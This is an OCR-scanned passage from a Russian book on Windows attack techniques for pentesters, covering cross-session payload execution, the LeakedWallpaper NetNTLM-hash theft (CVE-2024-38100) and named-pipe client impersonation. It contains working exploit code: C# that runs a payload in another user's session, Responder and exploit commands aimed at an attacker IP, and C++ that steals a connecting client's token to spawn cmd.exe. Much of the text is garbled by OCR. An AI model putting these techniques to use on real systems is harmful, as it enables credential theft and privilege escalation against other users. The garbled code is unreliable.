Глава 13. Как работает угон пользовательских сессий в Windows 253 static void Main () var path = "file:///C:/Windows/Systern32/and.exe"; var session = Systern.Diagnostics.Process.GetCurrentProcess(); // Здесь указывай номер желаемой сессии, в которой запускать пейлоад Server.execute(З.ToString(), path); static class Server [Cornlmport, Guid("8cec592c-07al-lld9-Ы5e-000d56Ьfe6ee"), InterfaceType(CorninterfaceType.InterfaceisIUnknown)) interface IНxHelpPaneServer { void void void void DisplayTask(string task); DisplayContents(string contents); DisplaySearchResults(string search); Execute([MarshalAs(UnrnanagedType.LPWStr)) string file); static void execute(string new_session_id, string path) puЬlic try ( IНxНelpPaneServer server = (IНxНelpPaneServer)Marshal. BindToMoniker (String. Forrnat ("session: {О} !new: 8cec58ae-07al-lld9-Ы5e000d56Ьfe6ee", new_session_id)); Uri target = new Uri(path); server.Execute(target.AЬsoluteUri); catch Перечислять доступные сессии можно с помощью дую воспользоваться IНхЕхес) Пример или WTSEnurnerateSessions (). Рекомен­ моим вариантом эксплуатации я IHxExec (https://github.com/CICADA8-Research/ PowerShell (https://github.com/Leo4j/SessionExec). записал в виде ролика: https://www.youtube.com/ на watch?v=bК3ufqZxkxc. Leaked Wallpaper Эта уязвимость задокументирована как автор блога CVE-2024-38100. Изначально ее обнаружил decoder.cloud (https://decoder.cloud/2024/08/02/the-fake-potato/), одна-
Часть 254 11. Системное программирование для хакеров ко его команды у меня не заработали. Впрочем, автор в конце статьи обратил мое внимание на то, что он нашел интересный класс, который позволяет менять обои других пользователей. И тут все встало на свои места! Меня осенило. А что, если вместо пути до файла я предоставлю UNC Path? В таком случае обои не установятся, но пользователь из целевой сессии принудительно обратится по UNC Path и отправит запрос на аутен­ тификацию, который мы сможем перехватить, например через Responder. Идея оказалась рабочей и позволяет получить хеш NetNТLM. Причем эксплойт ра­ ботает даже от лица пользователя с низкими привилегиями. Предлагаю рассмотреть пример эксплуатации. У нас есть учетная запись exploit, которая абсолютно не привилегированная (рис. 13.22). На компьютере также сидит привилегированная учетка Рис. 13.22. - администратор (рис. 13 .23 ). Привилегии пользователя C:\Release>quser ПОЛЬЗОВАТЕЛЬ ID 1 3 СЕАНС администратор console >exploit СТАТУС БЕЗДЕЙСТВ. ВРЕNЯ ВХОДА Ди ск Активно 03.08.2024 17:41 03.08.2024 17:44 C:\Release>. Рис. 13.23. Список сессий на устройстве Для кражи его NetNТLM-xeшa запускаем Responder. responder -I ethl -v Теперь используем эксплойт триггер им аутентификацию (рис. (https://github.com/МzHmO/LeakedWallpaper) 13 .24 ). . \LeakedWallpaper.exe <session> \\<Kali IP>\c$\l.jpg # ЕХ .\LeakedWallpaper.exe 1 \\172.lб.0.5\c$\l.jpg и
Глава 13. Как работает угон пользовательских сессий в Рис. 13.24. Windows 255 Успешная эксплуатация Заключение Конечно же, приведенный здесь список способов поиска учетки все равно не пол­ ный. Я попытался объединить наиболее необычные, красивые и просто эффек­ тивные варианты. Хотя зачастую получается просто сдампить процесс lsass.exe и извлечь учетные данные из него. Впрочем, согласитесь, лучше знать, уметь и не пользоваться, чем не знать, не уметь и не пользоваться!
ГЛАВА 14 Используем Named Pipes при атаке на Windows В Windows есть много средств межпроцессного взаимодействия. Одно из них­ именованные каналы, в народе - пайпы. Давайте попробуем направить всю мощь ввода-вывода на благо пентеста и научимся злоупотреблять этим механизмом со­ общений. Пусть никто не уйдет без эскалации привилегий! В системе крутится огромное количество процессов: системные вроде explorer. ехе, RunTimeBroker. ехе, а также наши любимые браузер, Steam и МалварьПисатьБыстро­ Студия.ехе. Большинство из них хранят молчание и не делятся никакой информа­ - цией с внеu111им миром считайте, такие процессы-интроверты вроде нас с вами. Однако бьнсtст и иначе. Некоторые процессы должны передавать данные своим сородичам: информацию о состоянии CPU, разрешении экрана, нажимаемых сим­ волах на клавиатуре. Простейший способ взаимодействия между двумя общими процессами файла. Один процесс пишет, другой - - создание читает. Впрочем, это не самый удобный способ общения, правда? Здесь возникают проблемы с синхронизацией, атомарным доступом, настройкой дескрипторов безопасности ... Поэтому разработчики Windows придумали чуть более удобный способ передачи данных и изобрели огромное количество сущностей, позволяющих передавать дан­ ные между процессами. Одна из этих сущностей - именованный канал (Named Pipe). Что такое Pipe Пайп представляет собой объект типа FILE _OBJECT, управляемый специальной файло­ вой системой с именем NPFS - Named Pipe File System. Пайп позволяет писать и считывать из себя данные разным процессам, что и решает задачу их взаимодейст­ вия. На сетевом уровне передача данных происходит поверх протокола SMB. Создание именованного канала происходит с помощью функции createNamedPipe () (https://learn.microsoft.com/ru-ru/windows/win32/api/winbase/nf-winbasecreatenamedpipea).
Глава 14. Используем Named Pipes при атаке на Windows НANDLE CreateNarnedPipeA( [in) LPCSTR lpNarne, [in) DWORD dwOpenМode, [in) DWORD dwPipeMode, [in) DWORD nМaxlnstances, [in) DWORD nOutBufferSize, [in) DWORD nlnВufferSize, [in) DWORD nDefaultTimeOut, 257 [in, optional) LPSECURITY ATTRIBUTES lpSecurityAttributes ); Давайте посмотрим, за что отвечает каждое из полей: □ lpNarne - имя создаваемого пайпа. Оно может не быть уникальным. Например, в системе без проблем может быть создан пайп с именем 1123 и следом за ним еще один 112з. Взаимодействовать клиенты, конечно же, будут с тем пайпом, который был создан раньше; □ dwOpenМode - режим работы пайпа ( ввод/вывод, только вывод или только ввод) плюс дополнительные флаги. Среди них выделяется FILE_FLAG_FIRST_PIPE_INSTANCE, который позволяет ограничить возможность создания пайпов с одинаковым именем. Впрочем, к этому флагу мы еще вернемся; □ dwPipeMode - режим работы пайпа. Пайп может передавать поток байтов или по­ ток сообщений. Здесь же задается возможность контроля подключения удален­ ных клиентов и «удержания» клиентов до тех пор, пока все данные не будут считаны или записаны, □ nМaxinstances - - так называемый режим блокировки; максимальное количество экземпляров канала. Определяет, сколько пайпов с таким именем может быть в системе. Можно указать PIPE_ UNLIMITED_ INSTANCES, чтобы ОС сама выбрала это количество, основываясь на дос­ тупных ресурсах; □ nOutBufferSize, ninВufferSize - позволяют указать размеры в байтах выходного и входного буфера именованных каналов. Можно указать О, тогда система будет использовать размеры по умолчанию; □ nDefaultTimeOut ции длительность интервала ожидания в миллисекундах для функ­ Wai tNarnedPipe (); □ lpSecurityAttributes - атрибуты защиты. Кстати, это единственный механизм за­ щиты в пайпах. Если в качестве этого значения передавать NULL, то к пайпу смо­ гут получить полный доступ члены группы ЛА, система и создатель пайпа, а доступ на чтение будет у Everyone и учетки Anonymous. Короче, если при создании пайпа вы не указали дескриптор безопасности, то данные из этого пайпа сможет читать кто угодно. Для работы с пай пом применяются еще некоторые функции (ссылки на документа­ цию): □ connectNarnedPipe () (https://learn.microsoft.com/ru-ru/windows/win32/api/ namedpipeapi/nf-namedpipeapi-connectnamedpipe);
Часть 258 □ 11. Системное программирование для хакеров wai tNamedPipe () (https://learn.microsoft.com/ru-ru/windows/win32/api/winbase/ nf-winbase-waitnamedpipea); □ DisconnectNamedPipe () (https://learn.microsoft.com/ru-ru/windows/win32/api/ namedpipeapi/nf-namedpipeapi-disconnectnamedpipe). Первая функция дает возможность серверу ждать подключения клиента (клиент подключается «прозрачно» ИЛИ - ему достаточно указать пайп в вызове createFile () CallNamedFile () ). BOOL ConnectNamedPipe( НANDLE hNamedPipe, LPOVERLAPPED lpOverlapped Поля: □ □ hNamedPipe -хендл на созданный на сервере пайп; lpOverlapped - позволяет контролировать асинхронные операции, связанные с клиентскими действиями на пайпе. Например, чтобы поток управления воз­ вращался сразу же, а не после считывания всех байтов функцией ReadFile (). Соответственно, функция-антоним - это DisconnectNamedPipe (). Она дает нам воз­ можность отключить клиента от пайпа. WaitNamedPipe() дает клиенту возможность ждать подключения к серверу. Например, пытаться подключиться до тех пор, пока пайп не освободится или не пройдет пять минут. BOOL WaitNamedPipeA( [in] LPCSTR lpNamedPipeName, [in] DWORD nTimeOut ); □ lpNamedPipeName - □ nTimeOut - имя пайпа; время в миллисекундах, в течение которого функция будет ожидать доступности пайпа. Можно указать NМPWAIT_WAIT_FOREVER для бесконечного ожида­ ния. Пример клиента и сервера Для общего понимания предлагаю посмотреть, как может выглядеть передача стро­ ки с сервера на клиента. // Server.cpp #include <Windows.h> #include <iostream> int main() { wchar_t pipeName[] = L"\\\\. \\pipe\\mypipe"; wchar_t message[40] = L"Hello World"; НANDLE serverpipe = NULL;
Глава 14. Используем Named Pipes при атаке на 259 Windows serverpipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE ТУРЕ MESSAGE PIPE_READMODE_MESSAGE I PIPE_WAIT, 1, О, BOCL isPipeConnected = FALSE; isPipeConnected = ConnectNamedPipe(serverpipe, NULLI; if (isPipeConnected) ( DWORD dw; WriteFile(serverpipe, message, sizeof(message), &dw, NULL); std: :cout « dw « "Writed bytes to р1ре" « std: :endl; DisconnectNamedPipe(serverpipe); 1 О, О, NULL); CloseHandle(serverpipe); return О; // Client.cpp #include <Windows.h> #include <iostream> int main (1 wchar t pipeName[] = L"\\\\. \\pipe\\mypipe"; // Можно засунуть айnишник "\\\\10.10.10.10\\pipe\\mypipe" clientPipe = NULL; wchar_t newMessage[40] = { О ); // Коннект к naйny clientPipe = CreateFile(pipeName, GENERIC_READ I GENERIC_WRITE, О, NULL, OPEN_EXISTING, О, NULL); ReadFile(clientPipe, newMessage, sizeof(newMessage), NULL, О); MessageBox(NULL, newMessage, NULL, МВ ОК); return О; НANDLE Если хотим реализовать многопоточный сервер, т. е. при каждом подключении клиента создавать поток, в справке есть хороший пример реализации: docs.microsoft.com/ru-ru/windows/win32/ipc/multithreaded-pipe-server. https:// Мы также можем использовать функцию PeekNamedPipe (J для проверки того, нет ли в пайпе но­ вых данных. Изучение доступных пайпов В системе одновременно работает множество именованных каналов. В следующих разделах будем их активно эксплуатировать, поэтому логично будет научиться на­ ходить работающие пайпы! Process Hacker Самый простой способ обнаружения пайпов в - воспользоваться красивым GUI Process Hacker (https://processhacker.sourceforge.io/downloads.php, рис. 14.1 ).
Часть 260 11. Системное программирование для хакеров fl Ptoc.t'Я Нкut (WJ«\M~ ~ о i::-~ I~::-«- ~~- а х Onc.,-i,pt ion -_... --... - ... --........ = -....... ---.... --- ~ - _-;:... :;;:::======:::;;---::::-:--::..::..::..::..::.::.::.::::::' о- СЕ:] +_ ,_ ""' ~<-> ... --.,.. ... с.а..{1318} - ~4--(1811) - - {..._,_ ( 1511) --(IМ) - - -) - - - -) ....._()Dt) ....__(J»t} --{- - (<al) ....__{45111) . . . . . . (.,_) Nit FII ...... ... ... FII Rlit ... FII ""k ~..1807JC-f4o111НКJ--81C. . . . . ~. .4'a.1.....10Ulil.~ ~ tJI - - - - ~ .....'IИ&. ......~'5L!Ol";Nr.. ........... "1311&.~L OtAol'-~ ......, . , . . . ~J~ - •... ! , U I O I L ~ -•I ..... '.1........ . :1: ..........." " ' ..,....,......._,,..,.'\W.. ......illlUI... .......... ..,,.._..,.._...._,......_ . . . . . . . . . . . . ~ r , · - - ......- - - .....,_(,._, ,. \ONe!t,1•..,.; 1f $1 1'М.1....»IМL . . . . . . . . . . . . . . . <1$1,,.......1WNr,}J,... . . . . . (. .) А1 . . . . . . . . . . .! , L , O C , I I L ~ Рис. 14.1. Достаточно 1nt...,.n19t• ...S ~ , .,.. х nndtanclitl;orl)Us lfТкerne\&Sy,,u. ,.,.. А-с;М~САf'М(.8 l'lp,;,t.....-lМ 1..ос•\ .., Wi""°8d lf l t 6 t t ' 1 ~ ~с ' 8 < " ~ ~т ~~ """ U. SLIVIU ..,.,. uYJ'& S.CVr-ity ...,.thority Proc.••• kOtt • ~ c АМ atyd VircfoilS А8то:а.tгрума ~ Windowa r,.. ~ c ~ u . . . t -C~ to,, IIV{DIA Cont.-iNr """ \&IWD-• uмr.... х.ос., -~с АА!1 c,tp6 Wi~ font Dri...- ttost U. Sl.hlCE W 1 ~ Or'lwtr FOIIIIМJ1t-iot1 ~ ""'$t0Ylt( Хос;т -,nрочкс U. SOVIC! W i ~ Ot-iWffr О1А ввести в поисковой строке .,._ ~ ) • •DС:т Windiow$ ,ouno.н- ( NDf" ) - •о« Пpot[NIIIQ OQA& 8 С~ W i ~ ~ font Of' t114r """t ~ ОМО1t ,....,о (:1'0,U pipe С++ Для более глубокого контроля и написания собственных инструментов было бы неплохо создать полноценную тулзу для обнаружения работающих пайпов. Здесь нам подойдет особенность именования каналов - все они начинаются с .pipe. В действительности это отдельное пространство имен. По нему можно пробегаться так же, как и при поиске обычных файлов (рис. Рис. 14.2. 14.2). Пример поиска пайпов
Глава 14. Используем Named Pipes при атаке на Windows #include <windows.h> #include <iostream> #include <string> int main () НANDLE hFind; WIN32 FIND DATA findFileData; LPCWSTR pipesPath = L"\\\\.\\pipe\\*"; hFind = FindFirstFile(pipesPath, &findFileData); if (hFind == INVALID_НANDLE_VALUE) std: :wcerr « L"Failed to find pipes, error: " « GetLastError() << std: :endl; return 1; do std: :wstring pipeName = L"\\\\.\\pipe\\" + std: :wstring(findFileData.cFileName); std: :wcout « L"Found named pipe: " « pipeName; hPipe = CreateFile( pipeName.c_str(), GENERIC READ GENERIC_WRITE, НANDLE 1 о, NULL, OPEN_EXISTING, о, NULL); if (hPipe != INVALID НANDLE_VALUE) DWORD clientPID; if (GetNamedPipeClientProcessid(hPipe, &clientPID)) std: :wcout << L", Client PID: "<< clientPID; else std::wcerr « L", Failed to get client PID, error: "« GetLastError(); if (GetNamedPipeServerProcessid(hPipe, &clientPID)) std: :wcout « L", Server PID: " « clientPID; 261
Часть 262 11. Системное программирование для хакеров else std: :wcerr « 1 11 , Failed to get client PID, error: 11 « GetLastError (); CloseHandle(hPipe); else std: :wcerr << 1 Failed to open pipe, error: 11 , 11 « GetLastError(); std::wcout « std::endl; while (FindNextFile(hFind, &findFileData) != О); FindClose(hFind); return О; Я также добавил пример обнаружения PID клиента пайпа и сервера. Я предпола­ гаю, что клиент всегда будет нашим процессом, однако вы можете воспользоваться функцией GetNamedPipeClientProcessid () и в другом контексте: например, перехватив чужой хендл, как я описывал в главе 10. Еще есть чуть более сложный вариант сначала получить все хендлы, а потом - среди них находить пайпы. Я бы гордо игнорировал этот метод, однако у меня в заметках сохранен такой код: https://gist.github.com/МzHmO/58ac36tъ29ef26d25 fifa897b0d68ad2, значит, кому-то когда-то это понадобилось. PowerShell Согласитесь, что автоматизация и С++ пайпы можно и через ров (рис. # PowerShell, не самые близкие вещи. Исследовать можно даже сделать красивый вывод дескрипто­ 14.3). Ко всем nайпам Get-Childitem \\.\pipe\ # - 1 ForEach-Object -ErrorAction SilentlyContinue GetAccessControl К конкретному пайпу Get-Childitem \\.\pipe\eventlog I ForEach-Object -ErrorAction SilentlyContinue GetAccessControl PS С: \Users\l'lichael> Get-Childltem \ \. \pipe\eventtog Path Owner -- -- I forEach-Object ( 1, о· н r 1, 11 SilentlyContinue GetAccessControt Access ------ NT AUTHORIТY\LOCAL SERVICE Все Allow Рис. CreateFiles, 11/riteExtendedAttributes, illr1teAttributes, Read, Synchronize ... 14.3. Пример вывода дескриптора
Глава 14. Используем при атаке на Named Pipes 263 Windows 10 Ninja Но самый крутой вариант, особенно с целью найти уязвимость, (https://ioninja.com/plugins/pipe-monitor.html, рис. это - 10 Ninja Эта утилита позволяет 14.4). выводить максимально подробную информацию о пайпах и предоставляет все не­ обходимые данные для ресерча. С:J юrн (dit о t- Sution RW: ~ ~ х 1 tf:'FSman _:о,ь-~---•------------------------------------ 7,. ~=,cn,1on ,-..--c .,,,.. -c--1t:t3:s1 .,.. .ее .нe11, ♦J:H •08.ее ,ме 11:M:J'.i ;.,,27.Ht -,sr C.•ptwrc st.•rted wlth flltl'r • ~rver fl.11' ope11ed Hl• nме; \_rust_,non)'80WS.J)lpe1_ . 156М . 121S717716"88fil8Jl7 f111' ID: 8xffffC8"4CN)fet ,ro( ен ;,10: ' Pr«e ss. : РЛ): 11:ec:ls W11,z1.6a , .,,1 _____ .. _ _ 11:14:-2.5 +-08:17.615 _ J/ l• 1.D: Рr-ске, s i JI - 1 \Devic• '"•rdcll skVol18e4 \Users \ Т lЬЬо· User~•t• \L.ool \al tltr•k~\ •w· lt, 1. t\res0'1f'c• s \•Р9 . ,s,r. u~ckt 1S684 о 289,408 hff"CНfЧ"71'8 1 - ,o~~t'ct!.,,., н•ИЖ.tюf! ( 1 , Proc:•s, : \Devic• \Hal"ddt skVOl_. \U.J~s \ ТlЬЬо •User-\AppO•t.• \Lae:al \ai tk r-•ken\ •pp-18. 6. 8\~sour-c• s \ арр . •s•r-. vnpack~ PID: 1S6М cli.-nt fL1e operмd ' '11• n - : \_rust_•nonpous_pipcl_.1~ .HISЛ1716t918611J88 f:f.le 10: 8xfffH8"4CM7H8 Proce1 s : \ ~vice \Нarddl skVol-Н \users \ TiЬЬo -user\AppData \Local \ &i tkr•k•n \арр-18 . 6. 8\resources \арр. asar-. unp•cltt PlO:_ 15664 Server- flle opened f11e " - : \_rust_anon)W(Ws_pipet_.lts41, 1"6l9816132S4211~ Н 11:84:2'Jo •~ :21.6Н RXtotalЬytб '°"'" 271,103 ............. •Thtoughput'8kuLltor ~rver file оремd FHt n - : \_ru1t_ar,ony«1Us_pipel_,15684,lllS71"1689N611Ш FH• 10 : ТXtottlЬ)1n "'""- 1S64И f11e n-: \_rvs t_,_)"IIOUS.J)l~1_ . 1S6М ,UIS717716"М611387 fHI' 10: bfffl'CN94Cll444e # ........... 1 \Drvic, \НarddiskVoli.c l\Ustrs\ TiЬЬo-~erv.ppo.u \LOC•l \ai tkr•kt:n \•рр· lt. 1, t \ rl'sourcts \ерр . •s•r . 1P19•cke 11:14;15 tfe,27,6.1♦ ; Clte11t flll' оре:мd 11 :.,.:25 i-ltQ :27 :6i1 х f:telp '!'Жt,on - '!t tR -~t,;11t t-V:~, 1б,~!'11 noW...- ,_ 8XffffCU937fl6188 \De--lice U..rddiskVolr.-.4 \Users \ Т'iЬЬo·Us•r \AppC)t,t• \Lcк•l '8;1 tkl'ake:nUlpp· lt. 6. t \reюur-ces \•рр. апr-. unpackt PIO: 19$41 C.11ent fH• оремd File n - : \_ni•t_•non~ s_pJpel_.1 9S41.7'9629816U15A21lts fil• IO: 811Jfff08937f86Clt \Oevice\Н8rddiskVol_. \USН>s \ J 1.Ьoo• User\Apfl08t.•\Loc•l \ci tltr•ken \ app • lt . 6 . t \ t"i!sour-<:es \арр . asar . unpaclц Pro<:e, ~: PJO: 19541 1:84:25 -te0121.6tS J/" se:,,__,. file opened file nм,е: \_nat_•~s_p1pe1_.19S41.7t96291Z6132S4281t6 FiU 10: txFFffCN937F8948t ,roces, : \Dlvice \lf8rocli5kVOl--4 \UsffS \ Т lЬЬo-User-\Apf)Gat•\Lae:al \,-1 tltr•ken Ulpp- lt. 6. t \resourc•s \арр. •-'•r. un~cltГ" ~ Рис. 14.4. Пример использования 1О R«ordcol.lflt R.кordfikшt ,.,_,.. lndtl:fileшe LrtO ColO OhOOOO Ninja PipeViewer С 1О Ninja может смело посоревноваться PipeViewer (https://github.com/cyberark/ PipeViewer, рис. 14.5). У инструмента приятный графический интерфейс, авто­ матический вывод дескрипторов и функция PipeChat, позволяющая установить быстрое соединение с каналом. Имперсонация клиентов Предлагаю начать с базы. Серверы именованных каналов имеют право олицетво­ рять подключенные клиенты. Причем если клиент не переопределял уровень им­ персонации, то ему будет назначен стандартный уровня достаточно для запуска Сервер может нацепить ImpersonateNamedPipeClient 11 ond.exe на - Securitylmpersonation. Такого от лица пользователя. себя токен клиента через вызов функции (https:/Лearn.microsoft.com/en-us/windows/win32/api/ namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient).
Часть 264 11. Системное программирование для хакеров - ...... ~ ·-·- ...;_-···- ,-.1,.. С-Р()о ,..,..,_,. •н·•r;_11(~}•iм-····--·-r...;;.;;·-···- \\.......... -....11, _ _--- ·- - ;~-== :_ ;; -1;:::::~:::: \\~ 1~ s г ~ 1::::: -.· -•= ~ --~ ~ 3;:: 1 "'-.... -..s- j:::: ! 1 ;;;.~ .-= -- -:-=-~ _:_г -;. T:z:: . ;:z:- f:::: ~~~ ~~==~~: ;::;~_~ ;_}:j~ ~.:::=~:;r"°""" ~.- ~~ - ~:::: j \'\.~ \\.~ W..... ...,._At~ - - 1 1 84-G х ...i~ ,~.-,..-т~~- :~...,._ ' 1.fl.l\№l:l.• OII MT.fltltll(fljl'Y\ ._,. - \_~ ,1,И; j"""""-'мWI - ['""'-~•,;- - - \11МО1'z11100 llfIOЖOAINL ra..-. -~-~п-:оо [№""'~:j!"!, . . .. -~ w , w ~.<w:W\:·if'lt.ll.ц......C __ ~w.w.. 1ЛIК01:l,AOD •~ .-..Fl.:!~ " " - 0 ~-~~ ~ 1/1/ttOll.tlltOII ...__::~~~~- ~ •~w-o( -_ IIIIМDltl!!" -т~-U.,:,-r~'fl/lilloO l(f.frUTНDlll!"f\..Та.. .~......w._ И/№12.IIIOII Nl№I'~ ;о,,е f··----------···-··- ~ / 1.w.l~r - \IIIМUl_itOOOII i,_ ,_ ,Oi!I« WH,UTttClflol'l'\.J Cl,t,t ~w.l: :"~~1~......., -~~ :,,,""'~~.........),-,.._......о... ·tс:.м I -=~-== •••• ::::-::::: :::~ . о ll'T#ILllll(JIIIIМ.:. О., ;~~ •:Odllt 1ttoll,lfНOAl\"l'\Ja.. 1~• :М:С ., ..~ :r°" ---~.--·;-•---, ~~~~==-~ ~--::::: -- ,~~ != : : :J::::=~ ~ -= :: •,: :=i1:: .,"'-. ,',-- 1 : : __ ~~ ........ ~_,.._ - - - -- •1n1К01iat~№ТIOll ="'-ёc=-E""' ~--+'c=----< " "_,.. ~~1 \\........,.Wt "-.~ ....... + ~.IWl'i....L- . 1 1 ~ - -......~~tn/Кlllutlll t f ~ N I E ! . . , ~ W . . 0-. ~"""8L. ~ u . , -. J~ _ _ , - ..... .....,~).........« 1~~ }··~~-'....о "Рис. 14.5. Интерфейс 11,,..,to1it00011 ;l~IМD\lOIICD ~ ~--r ,1IIIIO\ltlt«I Ml.lrUIНDlll~a.. о.а ' 11r№rкw~.•a.,, _ ' a,o;j-· .... rм-:JQ,,,,i ... ,...,..;...__ 1~ -::ll,UI •• -----t~ PipeViewer ImpersonateNamedPipeClient( [in] НANDLE hNamedPipe В001 ); Здесь hNamedPipe - это хендл пайпа, к которому подключился клиент. В этом и следующих разделах мы будем симулировать поведение клиента и серве­ ра. В коде вы встретите Server. срр (Pipe Server) и Client. срр - клиентская часть, ко­ торая подключается к пайпу. Для имперсонации клиента достаточно лишь дождаться его подключения и вызвать функцию чтения. // Client.cpp #include <iostream> #include <Windows.h> const int MESSAGE SIZE 512; int main() LPCWSTR cwPipeName hClientPipe НANDLE L"\\\\.\\pipe\\mysuperpipe"; NULL; wchar_t msg[] = L"imp"; DWORD dwBytesReaded; std: :wcout « L"Connecting to " « cwPipeName « std:: endl ; hClientPipe = CreateFile(cwPipeName, GENERIC READ GENERIC_WRITE, О, NULL, OPEN_EXISTING, О, NULL);
Глава 14. Используем Named Pipes при атаке на Windows if (hClientPipe 1= 265 NULL) std: :wcout << L"Success" << std: :endl; while (true) { ReadFile(hClientPipe, &msg, wcslen(msg), &dwBytesReaded, NULL); WriteFile(hClientPipe, &msg, wcslen(msg), &dwBytesReaded, NULL); return О; // Server.cpp #include <iostream> #include <windows.h> #include <sddl.h> int main() { LPCWSTR cwPipeName = L"\\\\.\\pipe\\mysuperpipe"; НANDLE hServerPipe = NULL; В001 bPipeConnected = FALSE; DWORD dwErr; wchar_t msg[] = L"imp"; DWORD dwBytesWritten; SECURITY DESCRIPTOR sd = SECURITY ATTRIBUTES sa = О о ); }; if ( 1 InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION}) wprintf(L"InitializeSecurityDescriptor() failed. Error: %d\n", GetLastError() ); return NULL; if ( 1ConvertStringSecurityDescriptorToSecurityDescriptor(L"D: (A;OICI;GA;;;WD)", SDDL_REVISION_l, &((&sa)->lpSecurityDescriptor), NULL)) wprintf(L"ConvertStringSecurityDescriptorToSecurityDescriptor () failed. Error: %d\n", GetLastError() ); return NULL; hServerPipe CreateNamedPipe(cwPipeName, PIPE_ACCESS DUPLEX, PIPE_TYPE_BYTE I PIPE_WAIT, 10, 2048, 2048, О, &sa); bPipeConnected ConnectNamedPipe(hServerPipe, NULL);
266 Часть 11. Системное программирование для хакеров if (bPipeConnected) { std: :wcout « "Client Connected!" « std: :endl; WriteFile{hServerPipe, msg, wcslen(msg), &dwBytesWritten, NULL); ReadFile(hServerPipe, msg, wcslen(msg), &dwBytesWritten, NULL); if (ImpersonateNamedPipeClient(hServerPipe) == О) dwErr = GetLastError(); std: :wcout << dwErr << std: :endl; НANDLE НANDLE hSystemToken; hSystemTokenDup; if { 1 OpenThreadToken(GetCurrentThread{), TOKEN_ALL_ACCESS, FALSE, &hSystemToken)) wprintf(L"OpenThreadToken(). Error: %d\n", GetLastError()); return -1; if 1 1 DuplicateTokenEx(hSystemToken, TOКEN_ALL_ACCESS, NULL, Securityimpersonation, TokenPrimary, &hSystemTokenDup)) wprintf(L"DuplicateTokenEx() failed. Error: %d\n", GetLastError()); return -1; wchar t command[] = L"C:\\Windows\\system32\\cmd.exe"; PROCESS_INFORМATION pi = {); STARTUPINFO si = {); ZeroMemory(&si, sizeof{STARTUPINFO)); si.cb = sizeof{STARTUPINFO); DWORD len; STATISTICS stats; if (: :GetTokenlnformation(hSystemTokenDup, TokenStatistics, &stats, sizeof(stats), &len)) pr intf ("Logon Session ID: 0x%08llX\n", (stats. Authenticationid) ) ; printf("Token Туре: %s\n", stats.TokenType == TokenPrimary? "Primary" "Impersonation"); printf{"Dynamic charged {bytes): %lu\n", stats.DynamicCharged); printf{"Dynamic availaЫe (bytes): %lu\n", stats.DynamicAvailaЬle); printf{"Group count: %lu\n", stats.GroupCount); printf("Privilege count: %lu\n", stats.PrivilegeCount); ТОКЕN
Глава 14. Используем Named Pipes при атаке на 267 Windows if (CreateProcessWithTokenW (hSystemTokenDup, LOGON WITH PR0FILE, cormnand, NULL, CREATE_NEW=CONSOLE, NULL, NULL, &si, &pi) О) dwErr = GetLastError(); std: :wcout « dwErr « std: :endl; return О; происходит лишь подключение к пайпу. В коде В клиентском коде все очевидно сервера создаем пайп, меняем его дескриптор (tПобы у всех были права на чте­ ние/запись), после подключения клиента хватаем его токен и имперсонируем. Сер- ii L~1.1 и<.тр< rcp <... .;indo\A#5 ~ ,stemЗ'- cmd rxe • Hicrosoft (с) Шndows Sef\ler.o::xe [Version 10.0.1904'>.4046] (f1icrosoft Corporation). Корпорация Найкрософт ,и C:\Windows\system32>cd Все права защ ищены. A:\SSD\ProjectsVS\Articles\x64\Debug ◄ IC:\Windows\system32>a: • р1 А: \55O\Pro j ее t s V~ \Ar't i с 1,. , \ х64 \ o,-,tн,g :, . \ с,,-, r,•or . с-хе !» + Х Ад-НИСJР"rор: WindoW\ 1'о, Windows PowerShe\t (l'licrosoft Corpor11.tion) . (С) Корпорация 1'111.йкрософт Попробуйте новую кросспл11.тформенную оболочку Все права за111и111ен•1 . PowerShett (https : //11.ka . ~s/pscoreб) PS C: \Users\l'lich11.et> cd A : \SSD\ProjectsVS\Artictes\xбЦ\Debug PS A:\SSD\ProjectsVS\Articles\x611\0ebug> Рис. Рис. 14.7. 14.6. Второй шаг - Первый шаг - поднятие сервера запуск фейкового клиента. Симуляция подключения
Часть 268 е Адммн...аратор: Windows Ро >с; 111 11. Адuинистра:rо р: Windows Ро"' Системное программирование для хакеров Х □ + х Windows PowerShe Н (С) Норnор,щия llайкрософт (Microsoft Corporation) . Попробуйте новую кроссnлатформенную оболочку Все nра.ва ,ци11ено, . PowerShelt (https: //aka . 11s/pscoreб) PS С : \Users\llichael> cd А: \SSD\ProjectsVS\Articles\xбll\Debug PS А : \SSD\ProjectsVS\Artictes\xбll\Debug> cd А : \SSD\ProjectsVS\Artictes\xбll\Debug "C PS А : \SSD\ProjectsVS\Artictes\xбll\Debug> . \Client . ехе Connecting to \\. \pipe\11ysuperpipe Success PS А : \SSD\ProjectsVS\Articles\xбll\Debug> . \Client . ехе Connect i ng to \ \. \pipe\11ysuperpipe Success PS А: \SSD\ProjectsVS\Artictes\xбll\Debug> . \ctient . ехе Connecting to \ \. \pipe\11ysuperpipe Success PS А : \SSD\ProjectsVS\Articles\xбll\Debug> . \Ctient . ехе Connecting to \ \. \pipe\11ysuperpipe Success ~ Ад~1иниаратор: C:\W1ndo~\system 32\cmd.e< e □ ~Hиosoft liindows (Version 10.0.19045.4046) (,:) Корпорац и я Nайкрософт (Hicrosoft Corporation). С: Все права защ и щены. \Hindows \ sy s tem32 >1,,1hoami winpc\michael с: \ lч indows \ sys tem32 , _ Рис. 14.8. Успешная имперсонация вер рекомендую запускать от лица системы либо от учетной записи, у которой есть права на вызов CreateProcessWithTokenW() (рис. 14.~14.8). Есть реализации и на других языках, вот два варианта на PowerShell: один: https:// github.com/S3cur3ThlsShlt/Get-System-Techniques/ЫoЬ/master/NamedPipe/Named PipeSystem.psl за авторством S3cur3Th 1sSh 1t, второй - https://github.com/ decoder-it/pipeserverimpersonate/ЫoЬ/master/pipeserverimpersonate.psl зитория пользователя Or из репо­ decoder-it. этой атаки, конечно же, есть защита. Клиент может контролировать уровень имперсонации. О защите подробно написано в ответе на Stack Overflow (https://stackoverflow.com/questions/31506364/prevent-the-use-ofimpersonatenamedpipeclient). Если вам интересно узнать, как конкретно работает имперсонация через пайпы, рекомендую изучить материал Джонатана Джонсона: https://jsecurity101.medium.com/exploring-impersonation-through-the-named-pipefilesystem-driver-15tз24dtъat2. Чейн с Selmpersonate Возможности имперсонации часто используются в популярных эксплойтах «карто­ фельной» серии. Они позволяют повысить свои привилегии до уровня системы, имея доступ к учетной записи с SeimpersonatePrivilege. Общий концепт прост: 